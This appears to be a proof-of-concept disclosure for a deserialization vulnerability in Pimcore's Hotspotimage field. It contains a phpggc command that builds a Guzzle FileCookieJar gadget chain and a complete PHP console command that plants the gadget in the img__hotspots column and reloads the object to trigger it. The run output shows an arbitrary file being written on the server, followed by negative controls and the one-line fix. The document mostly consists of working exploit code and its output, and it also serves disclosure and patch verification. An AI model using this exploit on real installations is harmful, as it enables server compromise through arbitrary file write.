Pimcore CVE-2026-55220

  $metaData = $data[$this->getName() . '__hotspots'];
  // check if the data is JSON (backward compatibility)
  $md = json_decode($metaData, true);
  if (!$md) {
      $md = Serialize::unserialize($metaData);   // unrestricted: allowed_classes defaults to true
  } elseif (is_array($md)) {
      $md['hotspots'] = $md;
  }

  public static function unserialize(?string $data = null, array|bool $allowedClasses = true): mixed
  {
      if ($data === null || $data === '') { return $data; }
      return unserialize($data, ['allowed_classes' => $allowedClasses]);  // default true = unrestricted
  }

printf 'PWNED_BY_DESERIALIZATION_%s' "$(date +%s)" > /tmp/ggc_local_src.txt
./phpggc Guzzle/FW1 /tmp/pimcore_pwned_hotspot.txt /tmp/ggc_local_src.txt | tr -d '\n' > /tmp/ggc_guzzle_fw1.ser
# stored bytes begin: O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{...

<?php
declare(strict_types=1);
namespace App\Command;

use Pimcore\Db;
use Pimcore\Model\Asset;
use Pimcore\Model\DataObject;
use Pimcore\Model\DataObject\ClassDefinition;
use Symfony\Component\Console\Attribute\AsCommand;
use Symfony\Component\Console\Command\Command;
use Symfony\Component\Console\Input\InputInterface;
use Symfony\Component\Console\Input\InputOption;
use Symfony\Component\Console\Output\OutputInterface;

#[AsCommand(name: 'e2e:hotspot', description: 'E2E CWE-502 Hotspotimage __hotspots unserialize')]
final class E2eHotspotCommand extends Command
{
    protected function configure(): void
    {
        $this->addOption('benign', null, InputOption::VALUE_NONE, 'negative control: benign JSON');
        $this->addOption('restricted', null, InputOption::VALUE_NONE, 'negative control: allowed_classes=false');
    }

    protected function execute(InputInterface $input, OutputInterface $output): int
    {
        $o = fn (string $m) => $output->writeln($m);
        $gadget = (string) file_get_contents('/tmp/ggc_guzzle_fw1.ser');
        $target = '/tmp/pimcore_pwned_hotspot.txt';
        @unlink($target);

        $o('=== STEP 1: create DataObject class with a Hotspotimage field ===');
        $class = ClassDefinition::getByName('E2eHotspot');
        if (!$class) {
            $class = new ClassDefinition();
            $class->setName('E2eHotspot');
            $class->setGroup('e2e');
            $field = new ClassDefinition\Data\Hotspotimage();
            $field->setName('img');
            $field->setTitle('img');
            $panel = new ClassDefinition\Layout\Panel();
            $panel->setName('Layout');
            $panel->addChild($field);
            $class->setLayoutDefinitions($panel);
            $class->save();
        }
        $o('  class id=' . $class->getId());

        $o('=== STEP 2: create image asset (Hotspotimage needs a valid __image id) ===');
        $png = base64_decode('iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR42mNk+M9QDwADhgGAWjR9awAAAABJRU5ErkJggg==');
        $asset = Asset::getByPath('/e2e_pixel.png');
        if (!$asset) {
            $asset = new Asset\Image();
            $asset->setFilename('e2e_pixel.png');
            $asset->setParent(Asset::getById(1));
            $asset->setData($png);
            $asset->save();
        }
        $o('  asset id=' . $asset->getId());

        $o('=== STEP 3: create+save object carrying that image ===');
        $obj = DataObject::getByPath('/e2e_obj');
        if (!$obj) {
            $fqcn = '\\Pimcore\\Model\\DataObject\\' . $class->getName();
            $obj = new $fqcn();
            $obj->setKey('e2e_obj');
            $obj->setParent(DataObject::getById(1));
            $obj->setPublished(true);
            $obj->setValue('img', new DataObject\Data\Hotspotimage($asset));
            $obj->save();
        }
        $objId = $obj->getId();
        $store = 'object_store_' . $class->getId();
        $o('  object id=' . $objId . '  store=' . $store);

        $o('=== STEP 4: ATTACKER STORAGE-WRITE into img__hotspots column ===');
        $db = Db::get();
        $payload = $input->getOption('benign')
            ? json_encode(['hotspots' => [], 'marker' => [], 'crop' => []])
            : $gadget;
        $db->executeStatement('UPDATE `' . $store . '` SET `img__hotspots` = ? WHERE oo_id = ?', [$payload, $objId]);
        $stored = (string) $db->fetchOne('SELECT `img__hotspots` FROM `' . $store . '` WHERE oo_id = ?', [$objId]);
        $o('  stored prefix: ' . substr($stored, 0, 60));
        $o('  json_decode(stored) === null ? ' . var_export(json_decode($stored, true) === null, true) . '  (=> unserialize fallback)');

        $o('=== STEP 5: clear cache + reload object => getDataFromResource() ===');
        \Pimcore\Cache::clearAll();
        \Pimcore\Cache\RuntimeCache::clear();
        $o('  target file before load exists? ' . var_export(file_exists($target), true));

        if ($input->getOption('restricted')) {
            $o('  [negative control] fixed wrapper allowed_classes=false on the same bytes');
            $res = @unserialize($stored, ['allowed_classes' => false]);
            $o('  returned type=' . gettype($res) . ' class=' . (is_object($res) ? get_class($res) : 'n/a'));
            gc_collect_cycles();
        } else {
            try {
                $reloaded = DataObject\Concrete::getById($objId, ['force' => true]);
                $reloaded->getImg(); // triggers Hotspotimage::getDataFromResource() lazy load
                $o('  reloaded class=' . get_class($reloaded));
                unset($reloaded);
            } catch (\Throwable $e) {
                $o('  (post-unserialize downstream error, gadget already instantiated): ' . $e->getMessage());
            }
            gc_collect_cycles();
        }

        $o('=== RESULT ===');
        clearstatcache();
        if (file_exists($target)) {
            $o('  [VULNERABLE] gadget file WRITTEN: ' . $target);
            $o('  contents: ' . trim((string) file_get_contents($target)));
        } else {
            $o('  [NOT TRIGGERED] target file absent');
        }
        return Command::SUCCESS;
    }
}

=== STEP 1: create DataObject class with a Hotspotimage field ===
  class id=1
=== STEP 2: create image asset (Hotspotimage needs a valid __image id) ===
  asset id=2
=== STEP 3: create+save object carrying that image ===
  object id=4  store=object_store_1
=== STEP 4: ATTACKER STORAGE-WRITE into img__hotspots column ===
  stored prefix: O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:36:"\GuzzleHttp\
  json_decode(stored) === null ? true  (=> unserialize fallback)
=== STEP 5: clear cache + reload object => getDataFromResource() ===
  target file before load exists? false
  (post-unserialize downstream error, gadget already instantiated): Cannot use object of type GuzzleHttp\Cookie\FileCookieJar as array
=== RESULT ===
  [VULNERABLE] gadget file WRITTEN: /tmp/pimcore_pwned_hotspot.txt
  contents: [{"Expires":1,"Discard":false,"Value":"PWNED_BY_DESERIALIZATION_1780420803"}]

=== STEP 4: ATTACKER STORAGE-WRITE into img__hotspots column ===
  [negative control] storing benign JSON
  stored prefix: {"hotspots":[],"marker":[],"crop":[]}
  json_decode(stored) === null ? false  (=> unserialize fallback)
=== STEP 5: clear cache + reload object => getDataFromResource() ===
  target file before load exists? false
  reloaded class=Pimcore\Model\DataObject\E2eHotspot
=== RESULT ===
  [NOT TRIGGERED] target file absent

=== STEP 4: ATTACKER STORAGE-WRITE into img__hotspots column ===
  stored prefix: O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:36:"\GuzzleHttp\
  json_decode(stored) === null ? true  (=> unserialize fallback)
=== STEP 5: clear cache + reload object => getDataFromResource() ===
  target file before load exists? false
  [negative control] fixed wrapper allowed_classes=false on the same bytes
  returned type=object class=__PHP_Incomplete_Class
=== RESULT ===
  [NOT TRIGGERED] target file absent

public static function unserialize(?string $data = null, array|bool $allowedClasses = false): mixed